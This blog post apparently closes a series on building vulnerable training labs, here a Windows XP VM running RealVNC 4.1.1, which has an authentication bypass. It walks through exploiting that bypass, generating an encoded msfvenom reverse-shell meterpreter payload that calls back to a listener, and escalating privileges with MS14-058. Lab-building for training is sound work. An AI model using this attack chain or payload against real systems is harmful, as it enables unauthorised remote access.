This is going to be my last post in this series for the time being. Four vulnerable machines is a good start-up lab. The version of VNC we are going to use for this build is very out-of-date, but you’d be surprised (or maybe you wouldn’t) on the frequency with which we encounter it on engagements. I haven’t had a hit yet this year, but there were enough last year to warrant exploring it in a lab environment for new hires.
What is VNC?
Virtual Network Computing (VNC) is a system for graphically sharing and remotely accessing computers. User input like keystrokes and mouse clicks are transmitted over the network from one computer to another while screen updates move in the opposite direction. It is not dependent on a particular platform as clients and servers are available in a variety of formats.
VNC is built on top of the Remote Frame Buffer (RFB) protocol and is not encrypted by default. While certain server offerings provide password protection, some versions impose an eight character limit which is not ideal. UltraVNC and RealVNC currently offer encryption options, and VNC can be tunneled over SSH fortunately. That’s not what we will be exploring today, however.
In 2006, RealVNC versions 4.1.0 and 4.1.1 were found to be vulnerable to an authentication bypass which allowed attackers to specify insecure security types (ie: “None”) even when those options were not explicitly offered by the server. Successful exploitation of the vulnerability results in a hijacked session. Obviously, when the user acting in the session (Windows) is part of the local admins group, it’s a win all around. But our build today will be meant as a teaching tool for privilege escalation, so VNC will be running within the context of a limited user.
The Setup
Your first step depends largely on how you would like to handle privilege escalation. In this case, I’ve built a VM that is vulnerable to MS14-058 (for which steiner wrote an excellent Metasploit module last year), but there are plenty of other options available for your specific build.
If you do not have an available Windows VM, I would recommend checking out Microsoft Edge developer page. It’s meant to provide temporary Windows VM with various versions of IE. The Windows XP VMs they provide suit our purposes perfectly. The default user has no password and is a local administrator, so make sure to add a password and create a limited user for this build if you’re following along.
Download
For better or worse, RealVNC no longer offers 4.1.0 or 4.1.1 on their Downloads page. This means we’ll have to look elsewhere. As we are grabbing the software from third party, potentially less-than-reputable, sources, I would definitely recommend downloading it straight to your VM and confining all of your testing to your build; keep it off of your host. For this build, I’ve chosen to use version 4.1.1 available on FileHippo. Again, download to your host at your own risk.
Configure
The installation process is very straightforward, so I won’t bore you with the details. Stick with the Full Installation option (as a Service) when given the choice. When the installation processes finishes and the Server Properties window opens, add a password of your choosing.
If you plan on using this in a classroom environment, be sure to check the “Always treat new connections as shared” option under the “Sharing” tab. Also, feel free to change the port if you’d like your students/trainees to do a little more digging.
One additional Windows configuration change I would recommend would be to set the power options to prevent screen locking, sleep mode, and the like. Having the time constraint might be nice for a CTF environment, but for instruction, it just adds an unnecessary speed bump.
Log off of the administrative user and log into your limited user. If RealVNC is set to run as a service, you’re good to go.
Ensuring Vulnerability
Download Offensive Security’s conveniently compiled VNC auth bypass executable from Github. Plug in your target IP address, and you will be dropped into a live session despite the fact that a password was set for the server.
Use Veil-Evasion or msfvenom to generate a payload for yourself. I chose to go the msfvenom route.
./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=172.20.200.158 LPORT=4444 -f exe > payload.exe
If you’ve got Apache installed in Ubuntu or Kali, drop the payload into the web root. Otherwise, give the AdvancedHTTPServer a try. Browse to the exploit box’s IP address, download the file through the VNC session, and, after setting up your handler, run it. If everything was set up correctly, you will be rewarded with a shell!
As VNC is not running within the context of a privileged user’s session, we’ll be stuck in user land. Fortunately, there are all kinds of escalation techniques available. For this specific build, I wanted to be able to use steiner’s Metasploit module for MS14-058. As you can see in the screenshot below, the Microsoft Edge VM was a perfect fit.
Storage
As with all three other builds, I recommend making use of VMWare’s free ESXi server option to store your new vulnerable box. I hope you enjoyed this little series and have managed to put together a nice starter lab environment! I may revisit this in the future if I happen to come across new strange builds.
